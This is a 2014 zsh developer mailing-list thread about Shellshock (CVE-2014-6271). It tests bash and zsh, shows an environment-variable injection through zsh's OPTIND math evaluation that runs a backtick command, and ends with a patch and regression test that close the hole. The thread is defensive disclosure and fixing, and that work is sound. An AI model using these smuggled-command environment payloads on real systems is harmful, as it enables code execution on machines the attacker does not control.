zsh seems to be vulnerable to CVE-2014-6271: remote code execution through bash

zsh seems to be vulnerable to CVE-2014-6271: remote code execution through bash

[İsmail Dönmez]

[-- Attachment #1: Type: text/plain, Size: 321 bytes --]

According to the vulnerability test in
https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/

[~]> echo $ZSH_VERSION
5.0.6

[~]> env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
vulnerable
this is a test

Looks like zsh is vulnerable too.

Regards.

Re: zsh seems to be vulnerable to CVE-2014-6271: remote code execution through bash

[Frank Terbeck]

İsmail Dönmez wrote:
> According to the vulnerability test in
> https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/
>
> [~]> echo $ZSH_VERSION
> 5.0.6
>
> [~]> env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
> vulnerable
> this is a test
>
> Looks like zsh is vulnerable too.

Does it?

[snip]
zsh% x='() { :; }; echo vuln' bash -c 'echo test'
vuln
test
zsh% x='() { :; }; echo vuln' zsh -c 'echo test'
test
[snap]

Doesn't look like it to me.

Bash has this weird feature, where you can "export functions". I suspect
that's what's happening here. Zsh doesn't have this feature. Thankfully.


Regards, Frank

Re: zsh seems to be vulnerable to CVE-2014-6271: remote code execution through bash

[İsmail Dönmez]

[-- Attachment #1: Type: text/plain, Size: 925 bytes --]

On Wed, Sep 24, 2014 at 5:54 PM, Frank Terbeck <ft@bewatermyfriend.org>
wrote:

> İsmail Dönmez wrote:
> > According to the vulnerability test in
> >
> https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/
> >
> > [~]> echo $ZSH_VERSION
> > 5.0.6
> >
> > [~]> env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
> > vulnerable
> > this is a test
> >
> > Looks like zsh is vulnerable too.
>
> Does it?
>
> [snip]
> zsh% x='() { :; }; echo vuln' bash -c 'echo test'
> vuln
> test
> zsh% x='() { :; }; echo vuln' zsh -c 'echo test'
> test
> [snap]
>
> Doesn't look like it to me.
>
> Bash has this weird feature, where you can "export functions". I suspect
> that's what's happening here. Zsh doesn't have this feature. Thankfully
>

Brown paper bag for me not replacing bash with zsh ;) Thanks and sorry for
the noise :)

Re: zsh seems to be vulnerable to CVE-2014-6271: remote code execution through bash

[Peter Stephenson]

On Wed, 24 Sep 2014 16:54:10 +0200
Frank Terbeck <ft@bewatermyfriend.org> wrote:
> Bash has this weird feature, where you can "export functions". I suspect
> that's what's happening here. Zsh doesn't have this feature. Thankfully.

I was going to suggest the same.  Can anyone less lazy / busy [pick
whatever you think] than me confirm for sure?  Be nice to know.

Cheers
pws

Re: zsh seems to be vulnerable to CVE-2014-6271: remote code execution through bash

[Frank Terbeck]

Peter Stephenson wrote:
> On Wed, 24 Sep 2014 16:54:10 +0200
> Frank Terbeck <ft@bewatermyfriend.org> wrote:
>> Bash has this weird feature, where you can "export functions". I suspect
>> that's what's happening here. Zsh doesn't have this feature. Thankfully.
>
> I was going to suggest the same.  Can anyone less lazy / busy [pick
> whatever you think] than me confirm for sure?  Be nice to know.

I just skimmed through the text in the link the OP provided. Here's an
excerpt:

[snip]
    Like “real” programming languages, Bash has functions, though in a
    somewhat limited implementation, and it is possible to put these
    bash functions into environment variables. This flaw is triggered
    when extra code is added to the end of these function definitions
    (inside the enivronment variable).
[snap]

So, yeah. Looks like it. :)


Regards, Frank

Re: zsh seems to be vulnerable to CVE-2014-6271: remote code execution through bash

[Jérémie Roquet]

2014-09-24 17:01 GMT+02:00 Peter Stephenson <p.stephenson@samsung.com>:
> On Wed, 24 Sep 2014 16:54:10 +0200
> Frank Terbeck <ft@bewatermyfriend.org> wrote:
>> Bash has this weird feature, where you can "export functions". I suspect
>> that's what's happening here. Zsh doesn't have this feature. Thankfully.
>
> I was going to suggest the same.  Can anyone less lazy / busy [pick
> whatever you think] than me confirm for sure?  Be nice to know.

Looks like you're right:

https://lists.gnu.org/archive/html/bug-bash/2014-09/msg00087.html

-- 
Jérémie

Re: zsh seems to be vulnerable to CVE-2014-6271: remote code execution through bash

[Jérémie Roquet]

Hi,

2014-09-24 16:45 GMT+02:00 İsmail Dönmez <ismail@donmez.ws>:
> According to the vulnerability test in
> https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/
>
> [~]> echo $ZSH_VERSION
> 5.0.6
>
> [~]> env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
> vulnerable
> this is a test

If I understand well, this test only proves that your version of
*bash* is vulnerable

$ env x='() { :;}; echo vulnerable' zsh -c "echo this is a test"
this is a test

Looks like zsh is not.

Best regards,

-- 
Jérémie

Re: zsh seems to be vulnerable to CVE-2014-6271: remote code execution through bash

[Chet Ramey]

On 9/24/14, 10:45 AM, İsmail Dönmez wrote:
> According to the vulnerability test in
> https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/
> 
> [~]> echo $ZSH_VERSION
> 5.0.6
> 
> [~]> env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
> vulnerable
> this is a test
> 
> Looks like zsh is vulnerable too.

This doesn't mean zsh is vulnerable; only that it can be used to run `env'
to craft the environment variable.

Chet
-- 
``The lyf so short, the craft so long to lerne.'' - Chaucer
		 ``Ars longa, vita brevis'' - Hippocrates
Chet Ramey, ITS, CWRU    chet@case.edu    http://cnswww.cns.cwru.edu/~chet/

Re: zsh seems to be vulnerable to CVE-2014-6271: remote code execution through bash

[Peter Stephenson]

If you want to follow up, here's a news story describing the problem and
implications:

http://www.theregister.co.uk/2014/09/24/bash_shell_vuln/

There's nothing in zsh that corresponds to this particular problem; I
can't think of an easy way to get the environment to leak into code in
zsh without the code doing it deliberately but feel free to have a
think --- some of the special variable handling is quite complicated.

pws

Re: zsh seems to be vulnerable to CVE-2014-6271: remote code execution through bash

[Oliver Kiddle]

Peter Stephenson wrote:
> There's nothing in zsh that corresponds to this particular problem; I
> can't think of an easy way to get the environment to leak into code in
> zsh without the code doing it deliberately but feel free to have a
> think --- some of the special variable handling is quite complicated.

I've had a bit of a dig and can't find anything. Certainly not with
arbitrary variable names (i.e. attacker only needs control of the
value). That's what makes the bash bug serious.

Still, it might be wise to review the specials: reduce the attack
surface just in case a variable name happens to clash with something
that an attacker can filter through.

For specials of numeric type we appear to be doing math evaluation on
their values.
  OPTIND='3+4' zsh -c 'echo $OPTIND'
And if you think you can't do anything with math evaluation:
  x='`date >&2`' OPTIND='pipestatus[1${(e)x}]' zsh -c ':'

Other shells don't even import OPTIND. Would it perhaps make sense to
revert the sense of PM_DONTIMPORT and have a PM_IMPORT flag so any new
special is not imported unless whoever implements it actually gives it
some thought. PS1 etc have been imported since forever but what about
POSTEDIT, is that necessary? Also, this behaviour hardly seems useful:
  % status=45 zsh -cf 'echo hi'
  zsh: read-only variable: status

The various specials in the parameters can't be affected:
  % env functions='one two' zsh -cf ':'
  zsh: Can't add module parameter `functions': parameter already exists

Also, worth checking is unusual characters or invalid UTF-8 sequences
in the environment variable name. There's more processing here. Square
brackets in particular get some special treatment but don't seem to be a
problem:

For zsh the variable is missing (but passed on to child processes).
  env 'ARR[1]'=hello zsh -cf 'typeset -p|grep A\RR'

Interestingly, bash gets a variable with square brackets in the name:
  env 'ARR[3]'=hello bash -cf 'typeset -p|grep A\RR'
  declare -x ARR[3]
It ought to do proper quoting in typeset -p output though.

Ksh creates an array (and does a math evaluation).
  env 'ARR[21+47]'=hello ksh -cf 'typeset -p ARR'      
  typeset -x -a ARR=([68]=hello)

Oliver

Re: zsh seems to be vulnerable to CVE-2014-6271: remote code execution through bash

[Peter Stephenson]

On Fri, 26 Sep 2014 16:03:14 +0200
Oliver Kiddle <okiddle@yahoo.co.uk> wrote:
> For specials of numeric type we appear to be doing math evaluation on
> their values.
>   OPTIND='3+4' zsh -c 'echo $OPTIND'
> And if you think you can't do anything with math evaluation:
>   x='`date >&2`' OPTIND='pipestatus[1${(e)x}]' zsh -c ':'
> 
> Other shells don't even import OPTIND.

This affects OPTIND, TRY_BLOCK_ERROR and SHLVL.  It makes no sense
to import the first two at all; they reflect internal status and having
them initialised to something from outside seems wrong.

SHLVL does need to be imported, but doesn't need to be evaluated on
import --- if it's not a straight integer at this point something is
screwy.  So this could be checked.

> Would it perhaps make sense to
> revert the sense of PM_DONTIMPORT and have a PM_IMPORT flag so any new
> special is not imported unless whoever implements it actually gives it
> some thought.

Yes, probably.

pws

PATCH: safe numeric import

[Peter Stephenson]

On Fri, 26 Sep 2014 21:08:18 +0100
Peter Stephenson <p.w.stephenson@ntlworld.com> wrote:
> On Fri, 26 Sep 2014 16:03:14 +0200
> Oliver Kiddle <okiddle@yahoo.co.uk> wrote:
> > For specials of numeric type we appear to be doing math evaluation on
> > their values.
> >   OPTIND='3+4' zsh -c 'echo $OPTIND'
> > And if you think you can't do anything with math evaluation:
> >   x='`date >&2`' OPTIND='pipestatus[1${(e)x}]' zsh -c ':'
> > 
> > Other shells don't even import OPTIND.
> 
> This affects OPTIND, TRY_BLOCK_ERROR and SHLVL.  It makes no sense
> to import the first two at all; they reflect internal status and having
> them initialised to something from outside seems wrong.
> 
> SHLVL does need to be imported, but doesn't need to be evaluated on
> import --- if it's not a straight integer at this point something is
> screwy.  So this could be checked.

OK, how about this?  When we're doing the import, all numbers, integer
or floating point, are imported straight, without an evaluation.
Sticking numbers into the environment to be evaluated later doesn't
make a lot of sense.

If you want to try this out you'll need to use env, since if you do the
assignment within zsh it'll carry out the evaluation immediately,
before exporting.

Currently we suppress all errors from parameters at this stage, though
we could make a special case and output errors when we truncate a
numeric import because we ignored anything after an initial constant.

diff --git a/Src/params.c b/Src/params.c
index 0699ead..61edc5d 100644
--- a/Src/params.c
+++ b/Src/params.c
@@ -46,7 +46,7 @@
  
 /**/
 mod_export int locallevel;
- 
+
 /* Variables holding values of special parameters */
  
 /**/
@@ -325,9 +325,12 @@ IPDEF4("ZSH_SUBSHELL", &zsh_subshell),
 IPDEF5("COLUMNS", &zterm_columns, zlevar_gsu),
 IPDEF5("LINES", &zterm_lines, zlevar_gsu),
 IPDEF5U("ZLE_RPROMPT_INDENT", &rprompt_indent, zlevar_gsu),
-IPDEF5("OPTIND", &zoptind, varinteger_gsu),
 IPDEF5("SHLVL", &shlvl, varinteger_gsu),
-IPDEF5("TRY_BLOCK_ERROR", &try_errflag, varinteger_gsu),
+
+/* Don't import internal integer status variables. */
+#define IPDEF6(A,B,F) {{NULL,A,PM_INTEGER|PM_SPECIAL|PM_DONTIMPORT},BR((void *)B),GSU(F),10,0,NULL,NULL,NULL,0}
+IPDEF6("OPTIND", &zoptind, varinteger_gsu),
+IPDEF6("TRY_BLOCK_ERROR", &try_errflag, varinteger_gsu),
 
 #define IPDEF7(A,B) {{NULL,A,PM_SCALAR|PM_SPECIAL},BR((void *)B),GSU(varscalar_gsu),0,0,NULL,NULL,NULL,0}
 #define IPDEF7U(A,B) {{NULL,A,PM_SCALAR|PM_SPECIAL|PM_UNSET},BR((void *)B),GSU(varscalar_gsu),0,0,NULL,NULL,NULL,0}
@@ -742,7 +745,8 @@ createparamtable(void)
 	    if (!idigit(*iname) && isident(iname) && !strchr(iname, '[')) {
 		if ((!(pm = (Param) paramtab->getnode(paramtab, iname)) ||
 		     !(pm->node.flags & PM_DONTIMPORT || pm->node.flags & PM_EXPORTED)) &&
-		    (pm = setsparam(iname, metafy(ivalue, -1, META_DUP)))) {
+		    (pm = assignsparam(iname, metafy(ivalue, -1, META_DUP),
+				       ASSPM_ENV_IMPORT))) {
 		    pm->node.flags |= PM_EXPORTED;
 		    if (pm->node.flags & PM_SPECIAL)
 			pm->env = mkenvstr (pm->node.nam,
@@ -2271,6 +2275,13 @@ export_param(Param pm)
 mod_export void
 setstrvalue(Value v, char *val)
 {
+    assignstrvalue(v, val, 0);
+}
+
+/**/
+mod_export void
+assignstrvalue(Value v, char *val, int flags)
+{
     if (unset(EXECOPT))
 	return;
     if (v->pm->node.flags & PM_READONLY) {
@@ -2347,7 +2358,13 @@ setstrvalue(Value v, char *val)
 	break;
     case PM_INTEGER:
 	if (val) {
-	    v->pm->gsu.i->setfn(v->pm, mathevali(val));
+	    zlong ival;
+	    if (flags & ASSPM_ENV_IMPORT) {
+		char *ptr;
+		ival = zstrtol_underscore(val, &ptr, 0, 1);
+	    } else
+		ival = mathevali(val);
+	    v->pm->gsu.i->setfn(v->pm, ival);
 	    if ((v->pm->node.flags & (PM_LEFT | PM_RIGHT_B | PM_RIGHT_Z)) &&
 		!v->pm->width)
 		v->pm->width = strlen(val);
@@ -2359,7 +2376,13 @@ setstrvalue(Value v, char *val)
     case PM_EFLOAT:
     case PM_FFLOAT:
 	if (val) {
-	    mnumber mn = matheval(val);
+	    mnumber mn;
+	    if (flags & ASSPM_ENV_IMPORT) {
+		char *ptr;
+		mn.type = MN_FLOAT;
+		mn.u.d = strtod(val, &ptr);
+	    } else
+		mn = matheval(val);
 	    v->pm->gsu.f->setfn(v->pm, (mn.type & MN_FLOAT) ? mn.u.d :
 			       (double)mn.u.l);
 	    if ((v->pm->node.flags & (PM_LEFT | PM_RIGHT_B | PM_RIGHT_Z)) &&
@@ -2742,8 +2765,8 @@ assignsparam(char *s, char *val, int flags)
 	    }
 	}
     }
-    
-    setstrvalue(v, val);
+
+    assignstrvalue(v, val, flags);
     unqueue_signals();
     return v->pm;
 }
diff --git a/Src/zsh.h b/Src/zsh.h
index fa73961..8f56fa2 100644
--- a/Src/zsh.h
+++ b/Src/zsh.h
@@ -1820,7 +1820,8 @@ struct paramdef {
  */
 enum {
     ASSPM_AUGMENT = 1 << 0,
-    ASSPM_WARN_CREATE = 1 << 1
+    ASSPM_WARN_CREATE = 1 << 1,
+    ASSPM_ENV_IMPORT = 1 << 2
 };
 
 /* node for named directory hash table (nameddirtab) */

pws

Re: PATCH: safe numeric import

[Bart Schaefer]

On Sep 29, 11:04am, Peter Stephenson wrote:
}
} OK, how about this?  When we're doing the import, all numbers, integer
} or floating point, are imported straight, without an evaluation.

This looks fine to me.  (I'm surprised that there never seems to have
been an IPDEF6 before.)

} Currently we suppress all errors from parameters at this stage, though
} we could make a special case and output errors when we truncate a
} numeric import because we ignored anything after an initial constant.

I could go either way on this one.  On the one hand it'd potentially
be nice to get a warning if someone is shoving a strange value through
SHLVL or something.  OTOH there's no reason to expect it to work so in
a non-malicious circumstance it shouldn't be necessary.

Re: [Bulk] PATCH: safe numeric import

[Oliver Kiddle]

Peter Stephenson wrote:
> OK, how about this?  When we're doing the import, all numbers, integer
> or floating point, are imported straight, without an evaluation.
> Sticking numbers into the environment to be evaluated later doesn't
> make a lot of sense.

This looks like a good approach. 

> Currently we suppress all errors from parameters at this stage, though
> we could make a special case and output errors when we truncate a
> numeric import because we ignored anything after an initial constant.

I think it's better not to have error messages because of anything
in the environment. Just sanitise as we see fit and then get on with
things. By the way, the example I had for readonlys such as status is
wrong: error's from the outer shell - I should have used env. For
functions, the error occurs later in module.c when it tries to add the
normal functions parameter so is harder to avoid.

Oliver

Re: PATCH: safe numeric import

[Peter Stephenson]

On Mon, 29 Sep 2014 11:04:20 +0100
Peter Stephenson <p.stephenson@samsung.com> wrote:
> OK, how about this?  When we're doing the import, all numbers, integer
> or floating point, are imported straight, without an evaluation.

Here's a test --- I confirmed this does wayward things with old
versions of the shell.

diff --git a/Test/C01arith.ztst b/Test/C01arith.ztst
index 25cd8b8..4c55b96 100644
--- a/Test/C01arith.ztst
+++ b/Test/C01arith.ztst
@@ -282,3 +282,7 @@
   print $(( [#_] (5. ** 10) / 16. ))
 0:Grouping output with underscores: floating point
 >610_351.562_5
+
+  env SHLVL=1+RANDOM $ZTST_testdir/../Src/zsh -f -c 'print $SHLVL'
+0:Imported integer functions are not evaluated
+>2

pws